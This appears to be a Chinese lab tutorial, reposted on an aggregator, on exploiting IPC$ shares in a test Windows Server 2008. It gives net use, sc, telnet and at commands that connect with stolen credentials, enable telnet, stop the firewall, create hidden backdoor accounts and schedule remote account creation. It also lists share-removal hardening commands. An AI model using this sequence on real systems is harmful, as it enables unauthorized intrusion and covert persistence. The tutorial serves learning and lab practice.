基于 Win Server 2008 复现 IPC$ 漏洞

news2024/11/18 21:35:33

写在前面

本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 win server 2003 作为靶机进行测试,这里使用 win server 2008 仅作渗透演示,涉及内容主要就是扫描、拿shell、命令执行,总结一些知识,仅供学习参考。

Copyright © [2024] [Myon⁶]. All rights reserved.

文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

 

~~~~~~~~~~正文开始~~~~~~~~~~

知识介绍: 

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是 NT2000 的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000 在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用 IPC$ ,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为 ADMIN$、C$、D$、E$ 等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。

使用 net 命令查看开启的共享:

net share

漏洞利用条件:

开放了 139、445 端口和 ipc$ 文件共享,并且我们已经获取到用户登录账号和密码。

测试靶机:Windows Server 2008 (内网 ip:192.168.249.129)

攻击机:Windows XP(ip 地址:192.168.249.137)

(后续部分命令基于 win10 物理机演示)

靶机虽然启动了 Windows 防火墙,但是允许文件共享,其余设置全为默认安装设置,并安装了所有补丁。(相当于是限定我们的渗透方向)

如下图,防火墙处于开启状态:

入站规则:启用文件和打印机共享

实验开始前先测试下网络:可以 ping 通

X-scan 扫描

在使用这个软件过程中遇到了一些问题,同样是进行 ip 段扫描

但是在物理机(win10)却扫描不到存活主机

参数配置:

扫描结果:

未发现存活主机

将软件放进虚拟机(XP系统),同样的参数配置

扫描结果:

成功扫到内网靶机 192.168.249.129

因为这个 win server 2008 是我的一台靶场机,所以会扫到这么多的漏洞

由于登录用户密码是我自定义修改过的,所以这里我们并没有扫到弱口令

正常来说,win server 2003 会扫到弱口令:administrator/123456

假设我们扫到了一个登录的弱口令,这也是 IPC$ 漏洞利用的条件之一

接下来我们分别演示利用 IPC$ 建立空连接和非空连接

我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享),利用这个空的连接,我们可以得到目标主机上的用户列表。但是在 Windows2003 以后,空连接什么权限都没有,也就是说并没有太大实质的用处。

使用命令建立 IPC$ 空连接(即用户名和密码都为空):

net use \\192.168.249.129 /u:"" ""

查看共享连接 

net use

有些主机的 Administrator 管理员的密码为空,那么我们可以尝试进行空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。

下面我们使用拿到的账号和密码进行 IPC$ 非空连接

使用命令:

net use \\192.168.249.129 密码 /user:administrator

遇到如下的报错,这是因为我们刚才建立的空连接没有断开,正如我们前面所说,每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。

因此我们先断开刚才建立的连接:

net use \\192.168.249.129 /del

再次执行非空连接的命令,建立连接成功

这里顺便说一下用户权限的问题:

使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接,可以执行所有命令;

而使用普通用户建立的 IPC$ 连接,仅能执行查看时间命令:net time \\192.168.249.129 。

这里我们也演示一下查看当前时间:

net time \\192.168.249.129 

尝试查看文件和目录:

dir \\192.168.249.129\c$

执行成功 

与靶机对比一下,内容完全一样

当然这个命令也可以直接在运行框执行

\\192.168.249.129\c$

结果如下图,我们就可以直接在这里进行图形化的操作

回到实验本身,我们使用 sc 命令获取目标计算机的所有服务列表,并保存在本地:

使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里

sc \\192.168.249.129 query type= service state= all > c:\MY.txt

(特别注意一点,在两个等号后面一定要加上空格,否则你导出的结果会有问题) 

执行成功后我们就可以找到该文件

在进行这一步时遇到了以下问题:

1、系统资源不足 无法完成请求服务

2、sc 命令拒绝访问

3、导出文件内容为:[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

解决方案:重启客户机,重新建立连接,执行命令时加上空格

查看我们导出的文件,使用快捷键 Ctrl+F 检索 telnet 

可以看到该服务处于禁用状态

并且我们可以获知服务名为:TlntSvr 

接下来我们设置 telnet 为自启动状态并启动它:

sc \\192.168.249.129 config tlntsvr start= auto

sc \\192.168.249.129 start tlntsvr

 

再次导出目标计算机的所有服务列表

可以看到 telnet 服务处于运行状态

为了便于后续的渗透操作,我们一般需要先对防火墙进行关闭

通过检索关键字  firewall 

可以得知该服务处于运行状态,并且服务名称是 MpsSvc

(由于我这里是使用 win server 2008 进行的演示,该实验原本是基于 win server 2003 进行的,在 win server 2003 中,防火墙名称叫 SharedAccess)

使用 sc 命令关闭防火墙:

sc \\192.168.249.129 stop MpsSvc

再次导出服务运行情况:

这里遇到了问题,无法获取到目标的服务列表情况

进行一些简单的命令测试,似乎已经无法与目标正确建立连接

查看目标防火墙状态,发现是刚才远程执行关闭防火墙命令所导致的

由于防火墙关闭时发生了错误,导致一些服务也无法正常工作

没办法我们只能重启靶机

(这里我进行了多次测试,都会出现这个错误,只能手动关闭防火墙了,2003 应该是没问题的)

重新在攻击机测试:

连接恢复正常

接下来我们尝试与目标计算机建立 telnet 连接 

直接使用 telnet 命令跟上目标 ip :

(注意这里没有反斜杠 \\ )

telnet 192.168.249.129

键入 y ,回车 

输入用户名和密码

用户名为:administrator

密码为自己的密码(win server 2003 默认是 123456)

出于安全考虑,输入的密码不会显示出来,其实是输入成功了的,直接回车即可

telnet 连接建立成功

查看当前 ip

ipconfig

已经是我们目标靶机的 ip:192.168.249.129 

查看一下当前权限:

whoami

 

由于 shell 已经建立,并且是最高管理员权限,我们便可以进行一系列想做的操作了。

新建普通账户:

net user MY 123456 /add

这里对密码的复杂度进行了限制,换句话说就是我们设置的密码太简单了 

经过多次尝试,发现密码需要包含大小写字母和数字

创建新账号成功

查看当前存在的账户:

net user

即可看到我们新建的 MY 账号 

下面我们新建隐藏用户:

使用 $ 符

注意:该方法仅能实现在命令行里隐藏账户,但是在图形化管理工具里该账户还是可见的

net user MY$ qaMY789 /add

说明:上述命令直接复制执行会出错的,需要自己敲一遍。

MY$ 用户创建成功,并且在命令行里面无法看见,一定程度上实现了隐藏

但是在图形化账户管理界面,MY$ 用户是可见的:

后续我们再介绍通过注册表实现用户的完全隐藏

关于 telnet 的利用就到此为止,我们再补充一些其他命令的利用。

首先使用 exit 断开 telnet 连接

1、tasklist 命令

该命令用于查看进程

tasklist /S 192.168.249.129 /U administrator -P 密码

在 XP 系统无法执行(版本太老了不认识这个命令)

因此换用 win 10 的终端

执行成功,回显如下图:

2、at命令

该命令用于添加计划任务,但是在 Windows Vista、Windows Server 2008 及之后版本的操作系统中已经弃用了 at 命令,而转为用 schtasks 命令,schtasks 命令比 at 命令更灵活,在使用schtasks 命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt

首先我们查看当前时间

net time \\192.168.249.129

假设我们让它在 02:42pm 的时候再新建一个名为 MY67 的用户:

at \\192.168.249.129 02:42pm net user MY67 qaMY123 /add

并在 02:42pm 前和 02:42pm 后分别执行 net user 命令查看存在的用户

结果如下:说明目标计算机执行了我们 at 命令计划的任务

此外,我又新建了三项计划任务

我们使用 at 命令列出所有计划执行的作业:

at

追加具体作业 id 号就可以查看作业的详细信息

at 8

删除特定编号的作业

at \\192.168.249.129 作业ID /del

比如我们删掉作业 8 

at \\192.168.249.129 8 /del

删除后我们只能看到作业 7 和 9 了

关于我这里使用两个 cmd 框的解释:

一个框是通过 telnet 连接拿到了对方的 shell ,也就是没有加 \\192.168.249.129 所执行的命令;

另一个框是我本地的 cmd 框,执行命令时都是加了 \\192.168.249.129 的。

因为 ipc$ 有一定的危险性,而且对于大多数人来说是没啥用的,可以通过如下命令关闭共享:

net share ipc$ /delete

删除 IPC$ 共享后,如果需要重新开启它,可以使用以下命令来重新创建 IPC$ 共享:

net share ipc$

 最后附上一些常见的共享命令:

net use: 查看本机建立的连接或连接到其他计算机。

net session: 查看其他计算机连接到本机的会话,需要管理员权限执行。

net share: 查看本地开启的共享。

net share ipc$: 开启 IPC$ 共享。

net share ipc$ /del: 删除 IPC$ 共享。
net share admin$ /del: 删除 ADMIN$ 共享。

net share c$ /del: 删除 C$ 共享。

net share d$ /del: 删除 D$ 共享。

net use * /del: 删除所有连接。

net use \\192.168.249.129: 与指定 IP 地址建立 IPC 空连接。

net use \\192.168.249.129\ipc$: 与指定 IP 地址建立 IPC 空连接。

net use \\192.168.249.129\ipc$ /u:"" "": 以空用户名和密码与指定 IP 地址建立 IPC 空连接。

net view \\192.168.249.129: 查看指定 IP 地址上的默认共享。

net use \\192.168.249.129 /u:"administrator" "hacker": 以管理员身份与指定 IP 地址建立 IPC 
连接。

net use \\192.168.249.129 /del: 删除指定 IP 地址上的 IPC 连接。

net time \\192.168.249.129: 查看指定 IP 地址上的时间。

net use \\192.168.249.129\c$ /u:"administrator" "hacker": 以管理员身份连接到指定 IP 地址的 C$ 共享。

dir \\192.168.249.129\c$: 查看指定 IP 地址上 C 盘的文件。

net use \\192.168.249.129\c$ /del: 删除指定 IP 地址上的 C$ 共享连接。

net use k: \\192.168.249.129\c$ /u:"administrator" "hacker": 将指定 IP 地址的 C 盘映射到本地 K 盘。

net use k: /del: 删除本地 K 盘的映射。

Copyright © [2024] [Myon⁶]. All rights reserved.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1498895.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Bytebase 签约合思,覆盖多云数据库变更发布,数据访问控制,安全治理的全生命周期,确保符合合规审计要求

在数字化快速发展时代,有效的规范数据库管理对企业安全运营至关重要。近日,数据库 DevOps 团队协同管理工具 Bytebase 签约费控领域领军企业合思,旨在全面优化数据库操作管理,收口全体员工的变更和查询操作,以提高整体…

Linux环境下使用interrupt方式操作UART

目录 概述 1 Linux环境下UART设备 2 轮询方式操作UART功能实现 2.1 打开串口函数:usr_serial_open 2.2 关闭串口函数: usr_serial_close 2.3 发送数据函数: usr_serial_sendbytes 2.4 接收数据函数: usr_serial_readinterr…

YOLOv8改进 | 主干篇 | 轻量级的低照度图像增强网络IAT改进YOLOv8暗光检测(全网独家首发)

一、本文介绍 本文给大家带来的改进机制是轻量级的变换器模型:Illumination Adaptive Transformer (IAT),用于图像增强和曝光校正。其基本原理是通过分解图像信号处理器(ISP)管道到局部和全局图像组件,从而恢复在低光…

在高并发、高性能、高可用 三高项目中如何设计适合实际业务场景的分布式id(一)

分布式ID组件:黄金链路上的关键基石 在现代分布式系统中,分布式ID组件无疑扮演着至关重要的角色。作为整个系统的黄金链路上的关键组件,它的稳定性和可靠性直接关乎到整个系统的正常运作。一旦分布式ID组件出现问题,黄金链路上的…

微前端之使用无界创建一个微前端项目

wujie 使用手册 使用简介 主应用配置 安装 wujie依赖main.js配置 是否开启预加载 生命周期函数 – lifecycle.js配置 子应用配置 跨域设置运行模式 生命周期改造 在主应用中,使用wujie,将子应用引入到主应用中去 wujie 使用手册 wujie 是一个基于 Web…

加密 / MD5算法 /盐值

目录 加密的介绍 MD5算法 盐值 加密的介绍 加密介绍:在MySQL数据库中, 我们常常需要对密码, 身份证号, 手机号等敏感信息进行加密, 以保证数据的安全性。 如果使用明文存储, 当黑客入侵了数据库时, 就可以轻松获取到用户的相关信息, 从而对用户或者企业造成信息…

11. C语言标准函数库

C语言制定了一组使用方式通用的函数,称为C语言标准函数库,用于实现编程常用功能,标准函数库由编译器系统提供,并按功能分类存储在不同源代码文件中,调用标准库内函数时需要首先使用 #include 连接对应的源代码文件。 【…

MATLAB | MATLAB版玫瑰祝伟大女性节日快乐!!

妇女节到了,这里祝全体伟大的女性,节日快乐,事业有成,万事胜意。 作为MATLAB爱好者,这里还是老传统画朵花叭,不过感觉大部分样式的花都画过了,这里将一段很古老的2012年的html玫瑰花代码转成MA…

Git 内幕探索:从底层文件系统到历史编辑的全面指南

微信搜索“好朋友乐平”关注公众号。 1. Git 底层文件对象 #mermaid-svg-uTkvyr26fNmajZ3n {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-uTkvyr26fNmajZ3n .error-icon{fill:#552222;}#mermaid-svg-uTkvyr26fNmaj…

K8S之实现业务的金丝雀发布

如何实现金丝雀发布 金丝雀发布简介优缺点在k8s中实现金丝雀发布 金丝雀发布简介 金丝雀发布的由来:17 世纪,英国矿井工人发现,金丝雀对瓦斯这种气体十分敏感。空气中哪怕有极其微量的瓦斯,金丝雀也会停止歌唱;当瓦斯…

前端工程化【01】:核心思想、发展历程和面临挑战

前端工程化是指将前端开发中的工具、流程和方法进行规范化和自动化,以提高前端开发效率、提升代码质量和项目可维护性的一种开发方式。通过前端工程化,可以将前端开发过程中的重复工作自动化,减少开发者的重复劳动,提高开发效率。…

✅ Windows11 系统 I 卡独显 A770 安装 深度学习 Pytorch 环境

📋 文献参考 这里非常感谢知乎上的 ‘丢丢’ 的[**Windows系统下英特尔独显Pytorch的历程**] 为我提供了一开始的 I 卡安装想法!但是文中并未介绍如何进行额外的环境变量操作问题,导致很多软件直接安装至系统盘,占用系统盘空间&am…

Go编译报错 link: running gcc failed: exit status 1(已解决)

背景 在对一个开源的Go程序二次开发 重新编译时 , 报错截图如下 报错文字如下:关键信息 link: running gcc failed: exit status 1 $ go build -o orchestrator-didi -i go/cmd/orchestrator/main.go go build: -i flag is deprecated # command-li…

18-Java迭代器模式 ( Iterator Pattern )

Java迭代器模式 摘要实现范例 迭代器模式(Iterator Pattern)用于顺序访问集合对象的元素,不需要知道集合对象的底层表示 迭代器模式是 Java 和 .Net 编程环境中非常常用的设计模式 迭代器模式属于行为型模式 摘要 1. 意图 提供一种方法…

【MySQL】lower_case_table_names作用及使用

知识点: lower_case_table_names 是mysql设置大小写是否敏感的一个参数。 场景:在使用dataease时,连接外部数据库,启动报错!后查看官方文档,特别要求改数据库配置文件:lower_case_table_names …

Service Mesh:如何为您的微服务架构带来可靠性和灵活性

在云原生架构中,Service Mesh 技术成为了微服务架构中不可或缺的一环。本文灸哥将和你一起探讨 Service Mesh 技术的原理、功能和实践,帮助架构师和开发人员更好地理解和应用这一关键技术。 1、Service Mesh 技术概述 Service Mesh 又称为服务网格&…

FPGA 按键控制串口发送

按键消抖 消抖时间一般为10ms,我使用的板子是ACX720,晶振为50MHZ,20ns为一周期。 状态机 模块设计 设计文件 timescale 1ns / 1ps // // Company: // Engineer: // // Create Date: 2023/01/11 12:18:36 // Design Name: // Module Name…

JavaEE进阶(14)Linux基本使用和程序部署(博客系统部署)

接上次博客:JavaEE进阶(13)案例综合练习——博客系统-CSDN博客 目录 程序配置文件修改和打包 构建项目并打包 分平台配置 数据准备 上传jar包到云服务器并运行 开放端口号 验证程序 如何查看日志得到报错信息 常见问题 关于Linux基…

【自然语言处理】NLP入门(五):1、正则表达式与Python中的实现(5):字符串常用方法:对齐方式、大小写转换详解

文章目录 一、前言二、正则表达式与Python中的实现1.字符串构造2. 字符串截取3. 字符串格式化输出4.字符转义符5. 字符串常用函数函数与方法之比较 6. 字符串常用方法1. 对齐方式center()ljust()rjust() 2. 大小写转换lower()upper()capitalize()title()swapcase() 一、前言 本…

maven项目结构管理统一项目配置操作

一、maven分模块开发 Maven 分模块开发 1.先创建父工程&#xff0c;pom.xml文件中&#xff0c;打包方式为pom 2.然后里面有许多子工程 3.我要对父工程的maven对所有子工程进行操作 二、解读maven的结构 1.模块1 <groupId>org.TS</groupId><artifactId>TruthS…